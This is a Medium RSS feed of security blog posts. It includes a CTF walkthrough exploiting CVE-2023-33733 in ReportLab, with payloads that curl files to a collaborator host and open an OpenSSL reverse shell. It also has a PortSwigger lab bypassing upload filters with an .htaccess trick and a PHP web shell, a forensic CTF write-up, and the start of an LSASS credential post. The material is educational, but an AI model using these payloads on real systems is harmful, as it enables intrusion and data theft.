<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Tuk Bahadur Kumhal on Medium]]></title>
        <description><![CDATA[Stories by Tuk Bahadur Kumhal on Medium]]></description>
        <link>https://medium.com/@tukbdr?source=rss-3f0796461f21------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*WCbdtCKtQmXfcjiH</url>
            <title>Stories by Tuk Bahadur Kumhal on Medium</title>
            <link>https://medium.com/@tukbdr?source=rss-3f0796461f21------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 23 Nov 2026 07:55:04 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@tukbdr/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HackingHub | Daily Diary — Advanced CTF Challenge Walkthrough]]></title>
            <link>https://tukbdr.medium.com/hackinghub-daily-diary-advanced-ctf-challenge-walkthrough-55d58f370d36?source=rss-3f0796461f21------2</link>
            <guid isPermaLink="false">https://medium.com/p/55d58f370d36</guid>
            <dc:creator><![CDATA[Tuk Bahadur Kumhal]]></dc:creator>
            <pubDate>Fri, 23 Jan 2026 04:09:06 GMT</pubDate>
            <atom:updated>2026-01-23T04:09:06.314Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackingHub | Daily Diary — Advanced CTF Challenge Walkthrough</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FkaVThtMg8O3n3bYaY1wzw.jpeg" /><figcaption>Daily Diary Challenge</figcaption></figure><p><strong>Challenge Description — Daily Diary ( Advanced )</strong></p><blockquote>This Challenge is about a diary platform where users can write, save, and download their entries. Our goal is to track down the underlying exploit, get code execution on the server, and extract the flag.</blockquote><p>The given question is</p><p>What is the value of <strong><em>/flag.txt </em></strong>?</p><p>— — — — — — — — — — — — — — — — —</p><p>I had no prior knowledge of the <strong>Daily Diary</strong> challenge until one of my colleague approached me and said, <em>Brother, can you help me solve this challenge?</em> He had already spent nearly <strong>2.5 hours</strong> working on it and was exhausted, so he asked for my help. I agreed and decided to give it a try.</p><p>In this blog, we will explore <strong>two different methods</strong> to exploit the <strong>Daily Diary</strong> challenge, which are outlined below:</p><p><strong>Method 1</strong>: Exploitation Using <strong><em>curl</em></strong> Command</p><p>I began working on this challenge by testing various common web vulnerabilities such as <strong><em>XSS</em></strong> and other basic attack vectors, but initially, none of them were successful.</p><p>After that, I created a <strong>fresh diary entry</strong> and downloaded it to analyze the application’s request and response behavior. While inspecting the <strong>PDF download HTTP response</strong> in <strong>Burp Suite</strong>, I noticed an interesting detail i.e. the PDF was generated using <a href="http://www.reportlab.com/"><strong><em>ReportLab</em></strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5ogZvnLjii9DNeXuAYSyfQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Cq7XzmO2ktEdB5oVzH7IEw.jpeg" /></figure><p>With this information, I started researching potential vulnerabilities related to <strong>ReportLab PDF generation</strong>. During this process, I discovered a known vulnerability: <a href="https://github.com/c53elyas/CVE-2023-33733"><strong><em>CVE‑2023‑33733</em></strong></a>, which can be leveraged to achieve <strong>Remote Code Execution (RCE)</strong> under certain conditions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3HPwAr8anwaxcUSlWEALAg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oXJ384CHHJicel8CEaTGxg.jpeg" /></figure><p><strong>Basic Exploitation Code</strong> given in the<strong> POC</strong> is</p><pre>&lt;para&gt;&lt;font color=&quot;[[[getattr(pow, Word(&#39;__globals__&#39;))[&#39;os&#39;].system(&#39;touch /tmp/exploited&#39;) for Word in [ orgTypeFun( &#39;Word&#39;, (str,), { &#39;mutated&#39;: 1, &#39;startswith&#39;: lambda self, x: 1 == 0, &#39;__eq__&#39;: lambda self, x: self.mutate() and self.mutated &lt; 0 and str(self) == x, &#39;mutate&#39;: lambda self: { setattr(self, &#39;mutated&#39;, self.mutated - 1) }, &#39;__hash__&#39;: lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and &#39;red&#39;&quot;&gt;<br>                exploit<br>&lt;/font&gt;&lt;/para&gt;</pre><p>I initially tested the above payload, but the main issue was that the <strong><em>exploited file</em></strong> was created on the <strong>victim machine</strong>, which meant I had no direct way to verify whether the exploitation was successful.</p><p>To overcome this limitation, I crafted a new payload using <strong><em>curl</em></strong>, along with <strong>ping</strong> and <strong>wget</strong>, in order to trigger an <strong><em>out‑of‑band (OOB)</em></strong> interaction. During testing, both <strong><em>ping</em></strong> and <strong><em>wget</em></strong> failed to generate any observable response. However, the <strong><em>curl </em></strong>command worked successfully, and I received a <strong><em>blind hit in Burp Suite Collaborator</em></strong>, confirming code execution on the server.</p><pre>&lt;para&gt;&lt;font color=&quot;[[[getattr(pow, Word(&#39;__globals__&#39;))[&#39;os&#39;].system(&#39;curl &lt;burp_collaborator&gt;&#39;) for Word in [ orgTypeFun( &#39;Word&#39;, (str,), { &#39;mutated&#39;: 1, &#39;startswith&#39;: lambda self, x: 1 == 0, &#39;__eq__&#39;: lambda self, x: self.mutate() and self.mutated &lt; 0 and str(self) == x, &#39;mutate&#39;: lambda self: { setattr(self, &#39;mutated&#39;, self.mutated - 1) }, &#39;__hash__&#39;: lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and &#39;red&#39;&quot;&gt;<br>                exploit<br>&lt;/font&gt;&lt;/para&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6WNdmEo8S0boQmJOW0kcvw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_4VZpzFVYr0Qzt4uz1J1bQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Am8WUUUCZR5AAXXHouAlBQ.jpeg" /></figure><p>After confirming code execution, I crafted another payload to <strong>read</strong> the <strong><em>/etc/passwd</em></strong> file from the target machine, allowing me to verify file‑read access and better understand the system context.</p><pre>&lt;para&gt;&lt;font color=&quot;[[[getattr(pow, Word(&#39;__globals__&#39;))[&#39;os&#39;].system(&#39;curl -X POST --data-binary @/etc/passwd http://&lt;burp_collaborator&gt;/&#39;) for Word in [ orgTypeFun( &#39;Word&#39;, (str,), { &#39;mutated&#39;: 1, &#39;startswith&#39;: lambda self, x: 1 == 0, &#39;__eq__&#39;: lambda self, x: self.mutate() and self.mutated &lt; 0 and str(self) == x, &#39;mutate&#39;: lambda self: { setattr(self, &#39;mutated&#39;, self.mutated - 1) }, &#39;__hash__&#39;: lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and &#39;red&#39;&quot;&gt;<br>                exploit<br>&lt;/font&gt;&lt;/para&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aNvK8HSJ0Mgm52JwFVG2Vg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2-d_mPfy3bBAt-f6hwje_Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BDfDZaF_8MS-tyfvtYmt_w.jpeg" /></figure><p>I then crafted another payload to <strong>determine the current working directory</strong> of the application.</p><pre>&lt;para&gt;&lt;font color=&quot;[[[getattr(pow, Word(&#39;__globals__&#39;))[&#39;os&#39;].system(&#39;curl -G --data-urlencode d=$(pwd) http://&lt;burp_collaborator&gt;/&#39;) for Word in [ orgTypeFun( &#39;Word&#39;, (str,), { &#39;mutated&#39;: 1, &#39;startswith&#39;: lambda self, x: 1 == 0, &#39;__eq__&#39;: lambda self, x: self.mutate() and self.mutated &lt; 0 and str(self) == x, &#39;mutate&#39;: lambda self: { setattr(self, &#39;mutated&#39;, self.mutated - 1) }, &#39;__hash__&#39;: lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and &#39;red&#39;&quot;&gt;<br>                exploit<br>&lt;/font&gt;&lt;/para&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JQVOJJH_5wJE-lYgB16sCg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JClWcqO6Bx4wsb2vQNw81w.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tq2-f_wYseqihBxys5z8zg.jpeg" /></figure><p>I then crafted another payload to<strong> list the files present in the current working directory</strong>, which helped identify interesting files and directories related to the application.</p><pre>&lt;para&gt;&lt;font color=&quot;[[[getattr(pow, Word(&#39;__globals__&#39;))[&#39;os&#39;].system(&#39;curl -G --data-urlencode d=$(ls) http://&lt;burp_collaborator&gt;/&#39;) for Word in [ orgTypeFun( &#39;Word&#39;, (str,), { &#39;mutated&#39;: 1, &#39;startswith&#39;: lambda self, x: 1 == 0, &#39;__eq__&#39;: lambda self, x: self.mutate() and self.mutated &lt; 0 and str(self) == x, &#39;mutate&#39;: lambda self: { setattr(self, &#39;mutated&#39;, self.mutated - 1) }, &#39;__hash__&#39;: lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and &#39;red&#39;&quot;&gt;<br>                exploit<br>&lt;/font&gt;&lt;/para&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qY7Gjo2G3ZHtMr2AumOp2w.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fQNkhCRGNgV_sBSYCDy9Qg.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zKXEpNU-9rBI7npDSFpchg.jpeg" /></figure><p>Finally, I crafted another payload to <strong>read the contents</strong> of the <strong><em>flag.txt</em></strong> file, completing the objective of the challenge.</p><pre>&lt;para&gt;&lt;font color=&quot;[[[getattr(pow, Word(&#39;__globals__&#39;))[&#39;os&#39;].system(&#39;curl -G --data-urlencode d=$(cat /app/flag.txt) http://&lt;burp_collaborator&gt;/&#39;) for Word in [ orgTypeFun( &#39;Word&#39;, (str,), { &#39;mutated&#39;: 1, &#39;startswith&#39;: lambda self, x: 1 == 0, &#39;__eq__&#39;: lambda self, x: self.mutate() and self.mutated &lt; 0 and str(self) == x, &#39;mutate&#39;: lambda self: { setattr(self, &#39;mutated&#39;, self.mutated - 1) }, &#39;__hash__&#39;: lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and &#39;red&#39;&quot;&gt;<br>                exploit<br>&lt;/font&gt;&lt;/para&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mf64gbaB-ZbLo3Be9ZQ3Yw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Bk-DNxWLsn0dxsr3GsvDQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U2hOpoCtTmDXFp-mXXUq0Q.jpeg" /></figure><p><strong>Method 2</strong>: Gaining RCE in Daily Diary Challenge via <strong>CVE-2023–33733</strong> (<strong><em>ReportLab</em></strong>)</p><p>Although I was able to retrieve <strong><em>flag.txt</em></strong> using the <strong>curl‑based approach</strong> described earlier, I wanted to achieve full <strong>Remote Code Execution (RCE)</strong> on the target system.</p><p>Since many of the common reverse shell techniques were not working in this scenario, I decided to use <strong><em>OpenSSL</em></strong> to establish a <strong>reverse shell</strong>.</p><p>As I didn’t have access to a <strong>VPS</strong>, I used <a href="https://localtonet.com/"><strong><em>LocaltoNet</em></strong></a> to create a <strong>TCP tunnel</strong>, allowing me to receive the reverse shell connection on my <strong>local attacker machine</strong>.</p><p><strong>Attacker Side:</strong></p><p>First, on the attacker machine, I generated a self‑signed SSL certificate and private key using OpenSSL:</p><pre>openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes</pre><p>Next, I started an OpenSSL server to listen for incoming connections on the desired port:</p><pre>openssl s_server -quiet -key key.pem -cert cert.pem -port &lt;PORT&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*fDPpC2KQwsOLBDvGQD_5uA.jpeg" /></figure><p><strong>Client Side — Daily Diary Application:</strong></p><p>On the client side, I crafted a malicious payload that injected <strong>OpenSSL‑based reverse shell code</strong> into the application. This payload allowed me to achieve <strong>Remote Code Execution (RCE)</strong> and ultimately read the contents of the <strong><em>flag.txt</em></strong> file from the server.</p><pre>&lt;para&gt;&lt;font color=&quot;[[[getattr(pow, Word(&#39;__globals__&#39;))[&#39;os&#39;].system(&#39;mkfifo /tmp/s; bash -i &lt; /tmp/s 2&gt;&amp;1 | openssl s_client -quiet -connect &lt;Attacker_IP&gt;:&lt;Listening_Port&gt; &gt; /tmp/s; rm /tmp/s&#39;) for Word in [ orgTypeFun( &#39;Word&#39;, (str,), { &#39;mutated&#39;: 1, &#39;startswith&#39;: lambda self, x: 1 == 0, &#39;__eq__&#39;: lambda self, x: self.mutate() and self.mutated &lt; 0 and str(self) == x, &#39;mutate&#39;: lambda self: { setattr(self, &#39;mutated&#39;, self.mutated - 1) }, &#39;__hash__&#39;: lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and &#39;red&#39;&quot;&gt;<br>                exploit<br>&lt;/font&gt;&lt;/para&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8fY1Glh3rsDGbqPe-fHQnw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eKDv7Osu3CDZCPHynFmhDw.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/1*CWl8dYI3ZtMxzDk7a5lWTw.jpeg" /></figure><p><strong>Key Takeaways:</strong></p><ul><li>Small details break big systems.</li><li>Blind output still talks and listen Out-of-Band (OOB).</li><li>If common reverse shells fail, adapt and try alternative methods.</li><li>Patience &amp; Persistence wins challenges.</li></ul><p><strong><em>Thank you For Reading this !!</em></strong></p><p><strong>Reference:</strong></p><ul><li><a href="https://github.com/c53elyas/CVE-2023-33733">https://github.com/c53elyas/CVE-2023-33733</a></li><li><a href="https://app.interactsh.com/">https://app.interactsh.com/</a> ← If you are using BurpSuite Community</li><li><a href="https://www.revshells.com/">https://www.revshells.com/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=55d58f370d36" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Solving the We Shield Cyber CTF 2024: Forensic — Pixel Packed Puzzle]]></title>
            <link>https://tukbdr.medium.com/we-shield-cyber-ctf-final-round-2024-799d7579ec68?source=rss-3f0796461f21------2</link>
            <guid isPermaLink="false">https://medium.com/p/799d7579ec68</guid>
            <dc:creator><![CDATA[Tuk Bahadur Kumhal]]></dc:creator>
            <pubDate>Mon, 02 Dec 2024 10:36:33 GMT</pubDate>
            <atom:updated>2024-12-02T11:03:15.489Z</atom:updated>
            <content:encoded><![CDATA[<p>In this blog, We will cover about the Forensic Challenge Pixel Packed Puzzle from WSC CTF Finals and the approach made to solve the challenge to get the flag.</p><p>Our team <strong>HariBahadur</strong> secured 7th place in the competition.</p><ol><li><strong>Extraction of zip</strong></li></ol><p>Firstly, we downloaded the given file which was zip and started to check the basic information about the zip.</p><p>1.1. Tried to extract the zip file but found that it was password protected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*w0Jx3zFjtyVdHhzRsSf-Yg.png" /></figure><p>1.2. Started to Check the data present inside the zip without password and found that there were 2 files image.jpg&amp; photo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IKQFJoYF4Ru13pkCEpR5qA.png" /></figure><p><strong>2. Hash-Cracking the zip file</strong></p><p>Now, it’s time to get the hash of the zip file and crack using the John the ripper tool.</p><p>2.1. Getting the hash of the zip file</p><pre>$ zip2john Pixel_Packed_Puzzle.zip | tee hash.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qts-gApD9prX_3jssMrxmQ.png" /></figure><p>2.2. Cracking the hash using the john</p><pre>$ john --format=zip --wordlist=/home/acer/Downloads/rockyou.txt hash.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wqs98T4BK03feNfXUE1Szg.png" /></figure><p>Here, we got the password password123</p><p>Now to extract the zip file we used the password and successfully extracted the files inside it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FzfIPiXDM8MNc0UTFjHzdg.png" /></figure><p>Now, there are 2 files image.jpg&amp; photo.</p><p><strong>3. Investigating the </strong><strong>photo file</strong></p><p>We started to check the photo file first.</p><p>3.1. Checked the File type of the photo only found photo: JPEG image data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PvfNPnTeGrE8_0_e3Qtwxg.png" /></figure><p>3.2. We thought it was jpg file so, we renamed it and tried to open it but it didn’t open because it had some kind of corruption.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dz8VNKDK1Hjr6i7OQi3RPw.png" /></figure><p>3.3. Checked the metadata of the photo file but nothing special was found, there was just random strings in the comment but couldn’t figure out what was it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kqKuA4xRI_JyYrdtjoB9wg.png" /></figure><p>3.4. We started to view the hex value of the photo using the tool hexeditor (Note: Any hex editor tool can be used ).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yrPndsnQ1s--S4IzKBTxSA.png" /></figure><p>Here, we found that the photo file header signature was incorrect and we took the reference from <a href="https://en.wikipedia.org/wiki/PNG">here</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g01-HOyfiKqi6akLjGPtgA.png" /></figure><p>It’s time to fix the header signature of photo file and save in the .png format and verify it by opening the file photo.png</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Z_QxvPS17c4gIWmQNABtFQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f5jaAN7t9DYP0IPg7Tb3WQ.png" /></figure><p>3.5. Analyzing the photo.png image in different planes using the tool stegsolve . Here, we found the half portion of the flag: 1n_S1mpl3_F0rms}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0yiWIz9jLVxaDJmuN1jliA.png" /></figure><p><strong>4. Investigating </strong><strong>image.jpg file</strong></p><p>It’s time to check the another remaining photo image.jpg</p><p>4.1. Tried to open the image.jpg directly but couldn’t be able to view, due to corruption of the image.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LP9je-fOEkGEm-sz70M6LA.png" /></figure><p>4.2. We started to view the hex value of the image.jpg using the tool hexeditor and found that it’s header signature was incorrect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4M9pYkonXCrHERKyciWfJA.png" /></figure><p>Using this <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">resource</a>, we are able to fix the header.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4rwnzMQD8B8CXQOlP38Z3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8k7jrAGNU8er41K_-OxvWg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nyWL4fNSUj4VJcbxIoKmHQ.png" /></figure><p>4.3. We used strings command to view the image_mod.jpg file and found that there were files hidden inside it.</p><pre>$ strings image_mod.jpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x6k3B90gwX6VNrYtwl9N0Q.png" /></figure><p>4.4. We used binwalk tool to get the hidden items present in the image.</p><pre>$ binwalk -e image_mod.jpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aXbA6k84buETinAmYKAHaw.png" /></figure><p>During Checking the extracted file, it was found that there was final.zip file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*44D367zDv2RvH6IN2Ob3Zg.png" /></figure><p>We used find to locate and copy the final.zip file in the current directory.</p><pre>$ find . -type f -name &quot;final.zip&quot; -exec cp {} . \;</pre><p>Now we extracted the final.zip file and we found that there was password.txt and it had some kind of encoding in it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FTBPa2mOAi-aPGir3SiF2g.png" /></figure><p>4.5. We used <a href="https://gchq.github.io/">cyberchef</a> online tool to decode this encoding ( Base58 ) and found some kind of <em>paraphase</em>: 4aJ680MZrnAPwYc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IjcjRioJAMmwINKGbxY3Qw.png" /></figure><p>4.6. We thought it was some kind of password and used steghide tool to extract data from the modified jpg image and finally we got the flag.txt which was the initial portion of the flag.</p><pre>$ steghide extract -sf image_mod.jpg</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e2lsY0rio8vX9YwGv7GxlA.png" /></figure><p>Finally, We combined the both portion and submitted the flag.</p><pre>WSC{H1d1ng_M3ss4g3s_1n_S1mpl3_F0rms}</pre><p>Reference:</p><ul><li><a href="https://en.wikipedia.org/wiki/List_of_file_signatures">https://en.wikipedia.org/wiki/List_of_file_signatures</a></li><li><a href="https://en.wikipedia.org/wiki/PNG">https://en.wikipedia.org/wiki/PNG</a></li><li><a href="https://gchq.github.io/">https://gchq.github.io/</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=799d7579ec68" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing the File Extension to Upload the PHP Web Shell via Profile Picture]]></title>
            <link>https://tukbdr.medium.com/bypassing-the-file-extension-to-upload-the-php-web-shell-via-profile-picture-2852dfcc9419?source=rss-3f0796461f21------2</link>
            <guid isPermaLink="false">https://medium.com/p/2852dfcc9419</guid>
            <dc:creator><![CDATA[Tuk Bahadur Kumhal]]></dc:creator>
            <pubDate>Tue, 18 Jun 2024 17:27:10 GMT</pubDate>
            <atom:updated>2024-06-18T17:27:10.972Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*aNyVQIa0Dpef2B_FTUppkQ.png" /></figure><p>Here, In this blog we are going to understand about a special type file upload vulnerability and how the attacker can easily bypass the extension to upload the web shells. Additionally we will understand the conditions need to meet for File Upload Vulnerability.</p><p>Let’s Explore the Topic,</p><blockquote><strong>File Upload &amp; Its Vulnerability</strong></blockquote><p>File Upload is a feature in the web applications that allows the users to upload files, such as images, documents, or other media, to the server. This functionality is often used for various purposes, like allowing users to share content, update profile pictures, or submit reports.</p><p>Now, This creates opportunity for the attackers to abuse this function for exploiting several vulnerabilities such as</p><ul><li>Cross Site Scripting [XSS]</li><li>Denial of Service [DoS]</li><li>Malicious Program Injection</li><li>Directory Traversal</li><li>Chaining Attacks from Web shell to RCE or CMDi</li></ul><blockquote><strong>Requirement Conditions For Success File Upload Vulnerability</strong></blockquote><ul><li>Control over Data</li><li>Control over Extension and Filename</li><li>Control over the Content-Type</li><li>Injecting malicious scripts inside the files of the images or other files</li><li>Being able to access the uploaded file</li></ul><blockquote><strong>Content-Type: Multipart/Form-data</strong></blockquote><p><strong><em>Multipart/form-data</em></strong> is a critical HTTP content type for uploading files and sending other data through an HTTP POST request.</p><p><a href="#">Example for Multipart/form</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WGLROMWA3cIstMKO7SB-MA.png" /></figure><blockquote>Lets Understand by Demo from the <a href="https://portswigger.net/web-security/all-labs"><strong><em>Portswigger</em></strong></a><em> </em>Lab :<strong><em> Web shell upload via extension blacklist bypass</em></strong></blockquote><p><strong>Step 1</strong> : Uploading the web shell directly and checking out the control over the data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*E7MzzlRmhfMDFH8COlx0Pw.png" /></figure><p>Note: I have control over the data in the client side but the backend is protecting us from uploading the web shell. <strong><em>Important</em></strong> the Web Application is using the <strong><em>Apache Web Server</em></strong>.</p><p><strong>Step 2</strong>: Changing the File Extension and Checking for the Accessibility</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PcvbHc7wlv5eCVdmYa2D0g.png" /></figure><p>Now the file is uploaded after changing the file extension. Its time to check for the accessibility of the shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gy4YKyLHikGam19LRDzfqQ.png" /></figure><p>Now we know the path and checking the accessibility but not able to fetch any data only getting 404 response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WSUiOADsg15qGRK5A1CcGg.png" /></figure><p><strong>Step 3</strong>: Uploading .htaccess file to Override Apache rule for Execution of PHP</p><p><strong><em>Very Important Concept</em></strong>, if there is <strong><em>php</em></strong> as <strong><em>backend</em></strong> language and that is hosted in the <strong><em>Apache Web Server</em></strong> then there must have <strong><em>.htaccess</em></strong> file. So, to bypass and make shell executable we have to override the .htaccess and make our shell accessible.</p><ul><li><strong><em>Phase 1</em></strong>:</li></ul><p>Change filename to <strong><em>.htaccess</em></strong></p><p><strong><em>Content-Type</em></strong> to <strong><em>text/plain</em></strong></p><p>Additionally include ```<strong><em>AddType application/x-httpd-php .htaccess</em></strong>```</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6HpqaQXs8UgCPFX3nCLUIA.png" /></figure><ul><li><strong><em>Phase 2</em></strong> :</li></ul><p>Change filename to <strong><em>anyname.htaccess</em></strong></p><p>Replace the <strong><em>AddType application/x-httpd-php .htaccess </em></strong>to <strong><em>web shell payload</em></strong> i.e</p><pre>&lt;?php system($_REQUEST[&#39;cmd&#39;]); ?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Y75Zu2EMGAL9-5qv9L1Bg.png" /></figure><p><strong>Step 4 </strong>: Accessing the web shell</p><p>Checking the Shell Uploaded path i.e <strong><em>/files/avatars/shell.htaccess</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rv3ToqE4pBmyG-Ny1gaN-g.png" /></figure><p>Now it is working fine and we are getting the 200 Response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Gsrc9JolsTyR-etuOy1GxA.png" /></figure><p><strong>Step 5</strong> : Fetching the Data from the Server</p><p>Upload this script and get the data by following the same Steps of 4</p><pre>&lt;?php system(&quot;cat /etc/passwd&quot;); ?&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DHfT_bhIB90E3HMDlAD8gA.png" /></figure><p>Getting the data from the server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7OmZEuf7Mo_M5mmf8QIawg.png" /></figure><p>Finally, I found this way of bypassing file upload very effective and unique. This makes 403 bypass easy because we are making the default file override and call or execute our malicious php script automatically.</p><p>Thank you for Reading this blog !!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2852dfcc9419" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reading Plain Passwords Stored in the LSASS in Windows]]></title>
            <link>https://tukbdr.medium.com/reading-plain-passwords-stored-in-the-lsass-in-windows-11752a2fa01e?source=rss-3f0796461f21------2</link>
            <guid isPermaLink="false">https://medium.com/p/11752a2fa01e</guid>
            <dc:creator><![CDATA[Tuk Bahadur Kumhal]]></dc:creator>
            <pubDate>Tue, 11 Jun 2024 14:33:46 GMT</pubDate>
            <atom:updated>2024-06-11T14:33:46.199Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/795/0*mrNRuus-b1T-4vfZ.jpg" /></figure><p>In this blog, we are going to understand about the LSASS and how the attacker extracts the plain text passwords from it and its impacts and remediation.</p><p>Cracking hashes and getting passwords are quiet challenging and time consuming thing but directly extracting the plain text password is simple and our time is saved.</p><p>Let’s being by Understanding about LSASS,</p><blockquote><strong>LSASS</strong></blockquote><ul><li>Stands for <strong><em>Local Security Authority Subsystem Service</em></strong></li><li>It is a <strong><em>process</em></strong> in the Microsoft Windows Operating Systems.</li><li>Its main responsibilities are Security Policy, Verification of user login, Password Changes, Create Access tokens, Credentials Storage etc.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/0*Lhzrq5qEATTbSeVP.png" /></figure><blockquote><strong>How Authentication Works and interact with the LSASS ?</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/1*gxaSejJ9L7MrShjqU2Ge4w.jpeg" /></figure><ul><li><strong><em>User Login</em></strong> : The user provides their login credentials (username and password) at the login screen.</li><li><strong><em>WinLogon</em></strong> : The Windows Logon Manager (Winlogon) handles the interaction with the user (user profiles) and passes the credentials to LSASS for verification.</li><li><strong><em>LSASS Authentication</em></strong> : LSASS verifies the provided credentials by comparing them with the stored credentials in the Security Account Manager (SAM) database or Active Directory (for domain accounts).<br>If the credentials are valid, LSASS generates an access token that includes the user’s 